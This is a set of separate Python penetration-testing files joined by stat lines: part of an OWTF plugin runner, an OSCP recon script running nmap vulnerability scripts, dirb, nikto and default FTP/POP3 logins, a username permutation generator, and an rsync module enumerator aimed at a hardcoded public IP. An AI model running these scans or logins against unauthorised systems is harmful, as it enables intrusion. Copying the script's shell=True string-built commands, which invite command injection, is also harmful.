plugin cannot be run, print the reason. :return: True if the plugin has been chosen, False otherwise. :rtype: bool """ chosen = True reason = "not-specified" if plugin["group"] == self.plugin_group: # Skip plugins not present in the white-list defined by the user. if self.only_plugins_list and plugin["code"] not in self.only_plugins_list: chosen = False reason = "not in white-list" # Skip plugins present in the black-list defined by the user. if self.except_plugins_list and plugin["code"] in self.except_plugins_list: chosen = False reason = "in black-list" if plugin["type"] not in get_types_for_plugin_group(session=session, plugin_group=plugin["group"]): chosen = False # Skip plugin: Not matching selected type reason = "not matching selected type" if not chosen and show_reason: logging.warning( "Plugin: %s (%s/%s) has not been chosen by the user (%s), skipping...", plugin["title"], plugin["group"], plugin["type"], reason, ) return chosen def can_plugin_run(self, session, plugin, show_reason=False): """Verify that a plugin can be run by OWTF. :param dict plugin: The plugin dictionary with all the information. :param bool show_reason: If the plugin cannot be run, print the reason. :return: True if the plugin can be run, False otherwise. :rtype: bool """ from owtf.managers.poutput import plugin_already_run if not self.chosen_plugin(session=session, plugin=plugin, show_reason=show_reason): return False # Skip not chosen plugins # Grep plugins to be always run and overwritten (they run once after semi_passive and then again after active) if ( plugin_already_run(session=session, plugin_info=plugin) and ((not self.force_overwrite and not ("grep" == plugin["type"])) or plugin["type"] == "external") ): if show_reason: logging.warning( "Plugin: %s (%s/%s) has already been run, skipping...", plugin["title"], plugin["group"], plugin["type"], ) return False if "grep" == plugin["type"] and plugin_already_run(session=session, plugin_info=plugin): # Grep plugins can only run if some active or semi_passive plugin was run since the last time return False return True def get_plugin_full_path(self, plugin_dir, plugin): """Get full path to the plugin :param plugin_dir: path to the plugin directory :type plugin_dir: `str` :param plugin: Plugin dict :type plugin: `dict` :return: Full path to the plugin :rtype: `str` """ return "{0}/{1}/{2}".format(plugin_dir, plugin["type"], plugin["file"]) # Path to run the plugin def run_plugin(self, plugin_dir, plugin, save_output=True): """Run a specific plugin :param plugin_dir: path of plugin directory :type plugin_dir: `str` :param plugin: Plugin dict :type plugin: `dict` :param save_output: Save output option :type save_output: `bool` :return: Plugin output :rtype: `dict` """ plugin_path = self.get_plugin_full_path(plugin_dir, plugin) path, name = os.path.split(plugin_path) plugin_output = self.get_module("", name, path + "/").run(plugin) return plugin_output @staticmethod def rank_plugin(output, pathname): """Rank the current plugin results using PTP. Returns the ranking value. """ def extract_metasploit_modules(cmd): """Extract the metasploit modules contained in the plugin output. Returns the list of (module name, output file) found, an empty list otherwise. """ return [ ( output["output"].get("ModifiedCommand", "").split(" ")[3], os.path.basename(output["output"].get("RelativeFilePath", "")), ) for output in cmd if ("output" in output and "metasploit" in output["output"].get("ModifiedCommand", "")) ] msf_modules = None if output: msf_modules = extract_metasploit_modules(output) owtf_rank = -1 # Default ranking value set to Unknown. try: parser = PTP() if msf_modules: for module in msf_modules: # filename - Path to output file. # plugin - Metasploit module name. parser.parse(pathname=pathname, filename=module[1], plugin=module[0], light=True) owtf_rank = max(owtf_rank, parser.highest_ranking) else: parser.parse(pathname=pathname, light=True) owtf_rank = parser.highest_ranking except PTPError: # Not supported tool or report not found. pass except Exception as e: logging.error("Unexpected exception when running PTP: %s", str(e)) if owtf_rank == UNKNOWN: # Ugly truth... PTP gives 0 for unranked but OWTF uses -1 instead... owtf_rank = -1 return owtf_rank def process_plugin(self, session, plugin_dir, plugin, status=None): """Process a plugin from running to ranking. :param `Session` session: SQLAlchemy session :param str plugin_dir: Path to the plugin directory. :param dict plugin: The plugin dictionary with all the information. :param dict status: Running status of the plugin. :return: The output generated by the plugin when run. :return: None if the plugin was not run. :rtype: list """ if status is None: status = {} # Ensure that the plugin CAN be run before starting anything. if not self.can_plugin_run(session=session, plugin=plugin, show_reason=True): return None # Save how long it takes for the plugin to run. self.timer.start_timer("Plugin") plugin["start"] = self.timer.get_start_date_time("Plugin") # Use relative path from targets folders while saving plugin["output_path"] = os.path.relpath(self.get_plugin_output_dir(plugin), get_output_dir_target()) status["AllSkipped"] = False # A plugin is going to be run. plugin["status"] = "Running" self.plugin_count += 1 logging.info( "_" * 10 + " %d - Target: %s -> Plugin: %s (%s/%s) " + "_" * 10, self.plugin_count, target_manager.get_target_url(), plugin["title"], plugin["group"], plugin["type"], ) # Skip processing in simulation mode, but show until line above # to illustrate what will run if self.simulation: return None # DB empty => grep plugins will fail, skip!! if "grep" == plugin["type"] and num_transactions(session) == 0: logging.info("Skipped - Cannot run grep plugins: The Transaction DB is empty") return None output = None status_msg = "" partial_output = [] abort_reason = "" try: output = self.run_plugin(plugin_dir, plugin) status_msg = "Successful" status["SomeSuccessful"] = True except KeyboardInterrupt: # Just explain why crashed. status_msg = "Aborted" abort_reason = "Aborted by User" status["SomeAborted (Keyboard Interrupt)"] = True except SystemExit: # Abort plugin processing and get out to external exception # handling, information saved elsewhere. raise SystemExit except PluginAbortException as PartialOutput: status_msg = "Aborted (by user)" partial_output = PartialOutput.parameter abort_reason = "Aborted by User" status["SomeAborted"] = True except UnreachableTargetException as PartialOutput: status_msg = "Unreachable Target" partial_output = PartialOutput.parameter abort_reason = "Unreachable Target" status["SomeAborted"] = True except FrameworkAbortException as PartialOutput: status_msg = "Aborted (Framework Exit)" partial_output = PartialOutput.parameter abort_reason = "Framework Aborted" # TODO: Handle this gracefully # Replace print by logging finally: plugin["status"] = status_msg plugin["end"] = self.timer.get_end_date_time("Plugin") plugin["owtf_rank"] = self.rank_plugin(output, self.get_plugin_output_dir(plugin)) try: if status_msg == "Successful": save_plugin_output(session=session, plugin=plugin, output=output) else: save_partial_output(session=session, plugin=plugin, output=partial_output, message=abort_reason) except SQLAlchemyError as e: logging.error("Exception occurred while during database transaction : \n%s", str(e)) output += str(e) if status_msg == "Aborted": user_abort("Plugin") if abort_reason == "Framework Aborted": abort_framework("Framework abort") return output def process_plugin_list(self): """Process plugins :return: :rtype: """ status = {"SomeAborted": False, "SomeSuccessful": False, "AllSkipped": True} if self.plugin_group in ["web", "auxiliary", "network"]: self.process_plugins_for_target_list(self.session, self.plugin_group, status, target_manager.get_all("ID")) return status def get_plugin_group_dir(self, plugin_group): """Get directory for plugin group :param plugin_group: Plugin group :type plugin_group: `str` :return: Path to the output dir for plugin group :rtype: `str` """ return "{}/{}".format(PLUGINS_DIR, plugin_group) # TODO(viyatb): Make this run for normal plugin runs # This is not called anywhere - why? Seems it was always broken. def process_plugins_for_target_list(self, session, plugin_group, status, target_list): """Process plugins for all targets in the list :param plugin_group: Plugin group :type plugin_group: `str` :param status: Plugin exec status :type status: `dict` :param target_list: List of targets :type target_list: `set` :return: None :rtype: None """ plugin_dir = self.get_plugin_group_dir(plugin_group) if plugin_group == "network": waves = self.portwaves.split(",") waves.append("-1") lastwave = 0 for target in target_list: # For each Target self.scanner.scan_network(target) # Scanning and processing the first part of the ports for i in range(1): ports = config_handler.get_tcp_ports(lastwave, waves[i]) logging.info("Probing for ports %s", str(ports)) http = self.scanner.probe_network(target, "tcp", ports) # Tell Config that all Gets/Sets are now target-specific. target_manager.set_target(target) for plugin in plugin_group: self.process_plugin(session=session, plugin_dir=plugin_dir, plugin=plugin, status=status) lastwave = waves[i] for http_ports in http: if http_ports == "443": self.process_plugins_for_target_list( session, "web", {"SomeAborted": False, "SomeSuccessful": False, "AllSkipped": True}, {"https://{}".format(target.split("//")[1])}, ) else: self.process_plugins_for_target_list( session, "web", {"SomeAborted": False, "SomeSuccessful": False, "AllSkipped": True}, {target}, ) else: pass def show_plugin_list(session, group, msg=INTRO_BANNER_GENERAL): """Show available plugins :param group: Plugin group :type group: `str` :param msg: Message to print :type msg: `str` :return: None :rtype: None """ if group == "web": logging.info("%s%s\nAvailable WEB plugins:", msg, INTRO_BANNER_WEB_PLUGIN_TYPE) elif group == "auxiliary": logging.info("%s\nAvailable AUXILIARY plugins:", msg) elif group == "network": logging.info("%s\nAvailable NETWORK plugins:", msg) for plugin_type in get_types_for_plugin_group(session, group): show_plugin_types(session, plugin_type, group) def show_plugin_types(session, plugin_type, group): """Show all plugin types :param plugin_type: Plugin type :type plugin_type: `str` :param group: Plugin group :type group: `str` :return: None :rtype: None """ logging.info("\n%s %s plugins %s", "*" * 40, plugin_type.title().replace("_", "-"), "*" * 40) for plugin in get_plugins_by_group_type(session, group, plugin_type): line_start = " {!s}:{!s}".format(plugin["type"], plugin["name"]) pad1 = "_" * (60 - len(line_start)) pad2 = "_" * (20 - len(plugin["code"])) logging.info("%s%s(%s)%s%s", line_start, pad1, plugin["code"], pad2, plugin["descrip"]) runner = PluginRunner()
38.828283
119
0.587944
Penetration-Testing-Study-Notes
#!/usr/bin/env python # ###################################################################################################################### # This script is based on the script by [Mike Czumak](http://www.securitysift.com/offsec-pwb-oscp/). But it is heavily rewritten, some things have been added, other stuff has been removed. The script is written as a preparation for the OSCP exam. It was never meant to be a general script. So if you want to use it you have to make sure to fix all the hardcoded paths. The script is multithreaded and can be run against several hosts at once. # # The script is invoked like this: # # ``` # python reconscan.py 192.168.1.101 192.168.1.102 192.168.1.103 # ``` # # One important thing to note is that I removed the scan for all ports. Because it would sometimes just take to long to run. So make sure you either add that scan or run it afterwards. So you don't miss any ports. # # Please note that the script includes dirb and nikto-scans that are very invasive. The script also includes several nmap-scripts that check for vulnerabilities. So yeah, this script would be pretty illegal and bad to run against a machine you don't have permission to attack. ###################################################################################################################### import subprocess import multiprocessing from multiprocessing import Process, Queue import os import time import fileinput import atexit import sys import socket # Todo: # Add mysql nmap-script # Change replace to sed: # sed 's|literal_pattern|replacement_string|g' start = time.time() class bcolors: HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' # Creates a function for multiprocessing. Several things at once. def multProc(targetin, scanip, port): jobs = [] p = multiprocessing.Process(target=targetin, args=(scanip,port)) jobs.append(p) p.start() return def connect_to_port(ip_address, port, service): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip_address, int(port))) banner = s.recv(1024) if service == "ftp": s.send("USER anonymous\r\n") user = s.recv(1024) s.send("PASS anonymous\r\n") password = s.recv(1024) total_communication = banner + "\r\n" + user + "\r\n" + password write_to_file(ip_address, "ftp-connect", total_communication) elif service == "smtp": total_communication = banner + "\r\n" write_to_file(ip_address, "smtp-connect", total_communication) elif service == "ssh": total_communication = banner write_to_file(ip_address, "ssh-connect", total_communication) elif service == "pop3": s.send("USER root\r\n") user = s.recv(1024) s.send("PASS root\r\n") password = s.recv(1024) total_communication = banner + user + password write_to_file(ip_address, "pop3-connect", total_communication) s.close() def write_to_file(ip_address, enum_type, data): file_path_linux = '/root/oscp/exam/%s/mapping-linux.md' % (ip_address) file_path_windows = '/root/oscp/exam/%s/mapping-windows.md' % (ip_address) paths = [file_path_linux, file_path_windows] print bcolors.OKGREEN + "INFO: Writing " + enum_type + " to template files:\n " + file_path_linux + " \n" + file_path_windows + bcolors.ENDC for path in paths: if enum_type == "portscan": subprocess.check_output("replace INSERTTCPSCAN \"" + data + "\" -- " + path, shell=True) if enum_type == "dirb": subprocess.check_output("replace INSERTDIRBSCAN \"" + data + "\" -- " + path, shell=True) if enum_type == "nikto": subprocess.check_output("replace INSERTNIKTOSCAN \"" + data + "\" -- " + path, shell=True) if enum_type == "ftp-connect": subprocess.check_output("replace INSERTFTPTEST \"" + data + "\" -- " + path, shell=True) if enum_type == "smtp-connect": subprocess.check_output("replace INSERTSMTPCONNECT \"" + data + "\" -- " + path, shell=True) if enum_type == "ssh-connect": subprocess.check_output("replace INSERTSSHCONNECT \"" + data + "\" -- " + path, shell=True) if enum_type == "pop3-connect": subprocess.check_output("replace INSERTPOP3CONNECT \"" + data + "\" -- " + path, shell=True) if enum_type == "curl": subprocess.check_output("replace INSERTCURLHEADER \"" + data + "\" -- " + path, shell=True) return def dirb(ip_address, port, url_start): print bcolors.HEADER + "INFO: Starting dirb scan for " + ip_address + bcolors.ENDC DIRBSCAN = "dirb %s://%s:%s -o /root/oscp/exam/%s/dirb-%s.txt -r" % (url_start, ip_address, port, ip_address, ip_address) print bcolors.HEADER + DIRBSCAN + bcolors.ENDC results_dirb = subprocess.check_output(DIRBSCAN, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with dirb scan for " + ip_address + bcolors.ENDC print results_dirb write_to_file(ip_address, "dirb", results_dirb) return def nikto(ip_address, port, url_start): print bcolors.HEADER + "INFO: Starting nikto scan for " + ip_address + bcolors.ENDC NIKTOSCAN = "nikto -h %s://%s -o /root/oscp/exam/%s/nikto-%s-%s.txt" % (url_start, ip_address, ip_address, url_start, ip_address) print bcolors.HEADER + NIKTOSCAN + bcolors.ENDC results_nikto = subprocess.check_output(NIKTOSCAN, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with NIKTO-scan for " + ip_address + bcolors.ENDC print results_nikto write_to_file(ip_address, "nikto", results_nikto) return def httpEnum(ip_address, port): print bcolors.HEADER + "INFO: Detected http on " + ip_address + ":" + port + bcolors.ENDC print bcolors.HEADER + "INFO: Performing nmap web script scan for " + ip_address + ":" + port + bcolors.ENDC dirb_process = multiprocessing.Process(target=dirb, args=(ip_address,port,"http")) dirb_process.start() nikto_process = multiprocessing.Process(target=nikto, args=(ip_address,port,"http")) nikto_process.start() CURLSCAN = "curl -I http://%s" % (ip_address) print bcolors.HEADER + CURLSCAN + bcolors.END curl_results = subprocess.check_output(CURLSCAN, shell=True) write_to_file(ip_address, "curl", curl_results) HTTPSCAN = "nmap -sV -Pn -vv -p %s --script=http-vhosts,http-userdir-enum,http-apache-negotiation,http-backup-finder,http-config-backup,http-default-accounts,http-methods,http-method-tamper,http-passwd,http-robots.txt,http-devframework,http-enum,http-frontpage-login,http-git,http-iis-webdav-vuln,http-php-version,http-robots.txt,http-shellshock,http-vuln-cve2015-1635 -oN /root/oscp/exam/%s/%s_http.nmap %s" % (port, ip_address, ip_address, ip_address) print bcolors.HEADER + HTTPSCAN + bcolors.ENDC http_results = subprocess.check_output(HTTPSCAN, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with HTTP-SCAN for " + ip_address + bcolors.ENDC print http_results return def httpsEnum(ip_address, port): print bcolors.HEADER + "INFO: Detected https on " + ip_address + ":" + port + bcolors.ENDC print bcolors.HEADER + "INFO: Performing nmap web script scan for " + ip_address + ":" + port + bcolors.ENDC dirb_process = multiprocessing.Process(target=dirb, args=(ip_address,port,"https")) dirb_process.start() nikto_process = multiprocessing.Process(target=nikto, args=(ip_address,port,"https")) nikto_process.start() SSLSCAN = "sslscan %s:%s >> /root/oscp/exam/%s/ssl_scan_%s" % (ip_address, port, ip_address, ip_address) print bcolors.HEADER + SSLSCAN + bcolors.ENDC ssl_results = subprocess.check_output(SSLSCAN, shell=True) print bcolors.OKGREEN + "INFO: CHECK FILE - Finished with SSLSCAN for " + ip_address + bcolors.ENDC HTTPSCANS = "nmap -sV -Pn -vv -p %s --script=http-vhosts,http-userdir-enum,http-apache-negotiation,http-backup-finder,http-config-backup,http-default-accounts,http-methods,http-method-tamper,http-passwd,http-robots.txt,http-devframework,http-enum,http-frontpage-login,http-git,http-iis-webdav-vuln,http-php-version,http-robots.txt,http-shellshock,http-vuln-cve2015-1635 -oN /root/oscp/exam/%s/%s_http.nmap %s" % (port, ip_address, ip_address, ip_address) print bcolors.HEADER + HTTPSCANS + bcolors.ENDC https_results = subprocess.check_output(HTTPSCANS, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with HTTPS-scan for " + ip_address + bcolors.ENDC print https_results return def mssqlEnum(ip_address, port): print bcolors.HEADER + "INFO: Detected MS-SQL on " + ip_address + ":" + port + bcolors.ENDC print bcolors.HEADER + "INFO: Performing nmap mssql script scan for " + ip_address + ":" + port + bcolors.ENDC MSSQLSCAN = "nmap -sV -Pn -p %s --script=ms-sql-info,ms-sql-config,ms-sql-dump-hashes --script-args=mssql.instance-port=1433,smsql.username-sa,mssql.password-sa -oN /root/oscp/exam/%s/mssql_%s.nmap %s" % (port, ip_address, ip_address) print bcolors.HEADER + MSSQLSCAN + bcolors.ENDC mssql_results = subprocess.check_output(MSSQLSCAN, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with MSSQL-scan for " + ip_address + bcolors.ENDC print mssql_results return def smtpEnum(ip_address, port): print bcolors.HEADER + "INFO: Detected smtp on " + ip_address + ":" + port + bcolors.ENDC connect_to_port(ip_address, port, "smtp") SMTPSCAN = "nmap -sV -Pn -p %s --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 %s -oN /root/oscp/exam/%s/smtp_%s.nmap" % (port, ip_address, ip_address, ip_address) print bcolors.HEADER + SMTPSCAN + bcolors.ENDC smtp_results = subprocess.check_output(SMTPSCAN, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with SMTP-scan for " + ip_address + bcolors.ENDC print smtp_results # write_to_file(ip_address, "smtp", smtp_results) return def smbNmap(ip_address, port): print "INFO: Detected SMB on " + ip_address + ":" + port smbNmap = "nmap --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smbv2-enabled.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse,smbv2-enabled.nse %s -oN /root/oscp/exam/%s/smb_%s.nmap" % (ip_address, ip_address, ip_address) smbNmap_results = subprocess.check_output(smbNmap, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with SMB-Nmap-scan for " + ip_address + bcolors.ENDC print smbNmap_results return def smbEnum(ip_address, port): print "INFO: Detected SMB on " + ip_address + ":" + port enum4linux = "enum4linux -a %s > /root/oscp/exam/%s/enum4linux_%s" % (ip_address, ip_address, ip_address) enum4linux_results = subprocess.check_output(enum4linux, shell=True) print bcolors.OKGREEN + "INFO: CHECK FILE - Finished with ENUM4LINUX-Nmap-scan for " + ip_address + bcolors.ENDC print enum4linux_results return def ftpEnum(ip_address, port): print bcolors.HEADER + "INFO: Detected ftp on " + ip_address + ":" + port + bcolors.ENDC connect_to_port(ip_address, port, "ftp") FTPSCAN = "nmap -sV -Pn -vv -p %s --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221 -oN '/root/oscp/exam/%s/ftp_%s.nmap' %s" % (port, ip_address, ip_address, ip_address) print bcolors.HEADER + FTPSCAN + bcolors.ENDC results_ftp = subprocess.check_output(FTPSCAN, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with ENUM4LINUX-Nmap-scan for " + ip_address + bcolors.ENDC print results_ftp return def udpScan(ip_address): print bcolors.HEADER + "INFO: Detected UDP on " + ip_address + bcolors.ENDC UDPSCAN = "nmap -vv -Pn -A -sC -sU -T 4 --top-ports 200 -oN '/root/oscp/exam/%s/udp_%s.nmap' %s" % (ip_address, ip_address, ip_address) print bcolors.HEADER + UDPSCAN + bcolors.ENDC udpscan_results = subprocess.check_output(UDPSCAN, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with UDP-Nmap scan for " + ip_address + bcolors.ENDC print udpscan_results UNICORNSCAN = "unicornscan -mU -v -I %s > /root/oscp/exam/%s/unicorn_udp_%s.txt" % (ip_address, ip_address, ip_address) unicornscan_results = subprocess.check_output(UNICORNSCAN, shell=True) print bcolors.OKGREEN + "INFO: CHECK FILE - Finished with UNICORNSCAN for " + ip_address + bcolors.ENDC def sshScan(ip_address, port): print bcolors.HEADER + "INFO: Detected SSH on " + ip_address + ":" + port + bcolors.ENDC connect_to_port(ip_address, port, "ssh") def pop3Scan(ip_address, port): print bcolors.HEADER + "INFO: Detected POP3 on " + ip_address + ":" + port + bcolors.ENDC connect_to_port(ip_address, port, "pop3") def nmapScan(ip_address): ip_address = ip_address.strip() print bcolors.OKGREEN + "INFO: Running general TCP/UDP nmap scans for " + ip_address + bcolors.ENDC TCPSCAN = "nmap -sV -O %s -oN '/root/oscp/exam/%s/%s.nmap'" % (ip_address, ip_address, ip_address) print bcolors.HEADER + TCPSCAN + bcolors.ENDC results = subprocess.check_output(TCPSCAN, shell=True) print bcolors.OKGREEN + "INFO: RESULT BELOW - Finished with BASIC Nmap-scan for " + ip_address + bcolors.ENDC print results p = multiprocessing.Process(target=udpScan, args=(scanip,)) p.start() write_to_file(ip_address, "portscan", results) lines = results.split("\n") serv_dict = {} for line in lines: ports = [] line = line.strip() if ("tcp" in line) and ("open" in line) and not ("Discovered" in line): # print line while " " in line: line = line.replace(" ", " "); linesplit= line.split(" ") service = linesplit[2] # grab the service name port = line.split(" ")[0] # grab the port/proto # print port if service in serv_dict: ports = serv_dict[service] # if the service is already in the dict, grab the port list ports.append(port) # print ports serv_dict[service] = ports # add service to the dictionary along with the associated port(2) # go through the service dictionary to call additional targeted enumeration functions for serv in serv_dict: ports = serv_dict[serv] if (serv == "http") or (serv == "http-proxy") or (serv == "http-alt") or (serv == "http?"): for port in ports: port = port.split("/")[0] multProc(httpEnum, ip_address, port) elif (serv == "ssl/http") or ("https" == serv) or ("https?" == serv): for port in ports: port = port.split("/")[0] multProc(httpsEnum, ip_address, port) elif "smtp" in serv: for port in ports: port = port.split("/")[0] multProc(smtpEnum, ip_address, port) elif "ftp" in serv: for port in ports: port = port.split("/")[0] multProc(ftpEnum, ip_address, port) elif ("microsoft-ds" in serv) or ("netbios-ssn" == serv): for port in ports: port = port.split("/")[0] multProc(smbEnum, ip_address, port) multProc(smbNmap, ip_address, port) elif "ms-sql" in serv: for port in ports: port = port.split("/")[0] multProc(mssqlEnum, ip_address, port) elif "ssh" in serv: for port in ports: port = port.split("/")[0] multProc(sshScan, ip_address, port) # elif "snmp" in serv: # for port in ports: # port = port.split("/")[0] # multProc(snmpEnum, ip_address, port) # elif ("domain" in serv): # for port in ports: # port = port.split("/")[0] # multProc(dnsEnum, ip_address, port) return print bcolors.HEADER print "------------------------------------------------------------" print "!!!! RECON SCAN !!!!!" print "!!!! A multi-process service scanner !!!!!" print "!!!! dirb, nikto, ftp, ssh, mssql, pop3, tcp !!!!!" print "!!!! udp, smtp, smb !!!!!" print "------------------------------------------------------------" if len(sys.argv) < 2: print "" print "Usage: python reconscan.py <ip> <ip> <ip>" print "Example: python reconscan.py 192.168.1.101 192.168.1.102" print "" print "############################################################" pass sys.exit() print bcolors.ENDC if __name__=='__main__': # Setting ip targets targets = sys.argv targets.pop(0) dirs = os.listdir("/root/oscp/exam") for scanip in targets: scanip = scanip.rstrip() if not scanip in dirs: print bcolors.HEADER + "INFO: No folder was found for " + scanip + ". Setting up folder." + bcolors.ENDC subprocess.check_output("mkdir /root/oscp/exam/" + scanip, shell=True) subprocess.check_output("mkdir /root/oscp/exam/" + scanip + "/exploits", shell=True) subprocess.check_output("mkdir /root/oscp/exam/" + scanip + "/privesc", shell=True) print bcolors.OKGREEN + "INFO: Folder created here: " + "/root/oscp/exam/" + scanip + bcolors.ENDC subprocess.check_output("cp /root/oscp/reports/windows-template.md /root/oscp/exam/" + scanip + "/mapping-windows.md", shell=True) subprocess.check_output("cp /root/oscp/reports/linux-template.md /root/oscp/exam/" + scanip + "/mapping-linux.md", shell=True) print bcolors.OKGREEN + "INFO: Added pentesting templates: " + "/root/oscp/exam/" + scanip + bcolors.ENDC subprocess.check_output("sed -i -e 's/INSERTIPADDRESS/" + scanip + "/g' /root/oscp/exam/" + scanip + "/mapping-windows.md", shell=True) subprocess.check_output("sed -i -e 's/INSERTIPADDRESS/" + scanip + "/g' /root/oscp/exam/" + scanip + "/mapping-linux.md", shell=True) p = multiprocessing.Process(target=nmapScan, args=(scanip,)) p.start()
48.80429
458
0.632806
Penetration-Testing-Study-Notes
#!/usr/bin/env python import sys if __name__ == "__main__": if len(sys.argv) != 2: print "usage: %s names.txt" % (sys.argv[0]) sys.exit(0) for line in open(sys.argv[1]): name = ''.join([c for c in line if c == " " or c.isalpha()]) tokens = name.lower().split() fname = tokens[0] lname = tokens[-1] print fname + lname # johndoe print lname + fname # doejohn print fname + "." + lname # john.doe print lname + "." + fname # doe.john print lname + fname[0] # doej print fname[0] + lname # jdoe print lname[0] + fname # djoe print fname[0] + "." + lname # j.doe print lname[0] + "." + fname # d.john print fname # john print lname # joe
24.407407
64
0.576642
PenetrationTestingScripts
# -*- coding: utf-8 -*- import threading from printers import printPink,printRed,printGreen from multiprocessing.dummy import Pool from Queue import Queue import re import time import threading from threading import Thread from rsynclib import * import sys import socket socket.setdefaulttimeout(10) sys.path.append("../") class rsync_burp(object): def __init__(self,c): self.config=c self.lock=threading.Lock() self.result=[] self.sp=Queue() def get_ver(self,host): debugging = 0 r = rsync(host) r.set_debuglevel(debugging) return r.server_protocol_version def rsync_connect(self,ip,port): creak=0 try: ver=self.get_ver(ip)# get rsync moudle fp = socket.create_connection((ip, port), timeout=8) fp.recv(99) fp.sendall(ver.strip('\r\n')+'\n') time.sleep(3) fp.sendall('\n') resp = fp.recv(99) modules = [] for line in resp.split('\n'): #print line modulename = line[:line.find(' ')] if modulename: if modulename !='@RSYNCD:': self.lock.acquire() printGreen("%s rsync at %s find a module:%s\r\n" %(ip,port,modulename)) self.result.append("%s rsync at %s find a module:%s\r\n" %(ip,port,modulename)) #print "find %s module in %s at %s" %(modulename,ip,port) self.lock.release() modules.append(modulename) except Exception,e: print e pass return creak def rsync_creak(self,ip,port): try: self.rsync_connect(ip,port) except Exception,e: print e def run(self,ipdict,pinglist,threads,file): if len(ipdict['rsync']): printPink("crack rsync now...") print "[*] start crack rsync %s" % time.ctime() starttime=time.time() pool=Pool(threads) for ip in ipdict['rsync']: pool.apply_async(func=self.rsync_creak,args=(str(ip).split(':')[0],int(str(ip).split(':')[1]))) pool.close() pool.join() print "[*] stop rsync serice %s" % time.ctime() print "[*] crack rsync done,it has Elapsed time:%s " % (time.time()-starttime) for i in xrange(len(self.result)): self.config.write_file(contents=self.result[i],file=file) if __name__ == '__main__': from comm.config import * c=config() ipdict={'rsync': ['103.228.69.151:873']} pinglist=['103.228.69.151'] test=rsync_burp(c) test.run(ipdict,pinglist,50,file="../result/test")
28.173469
118
0.524493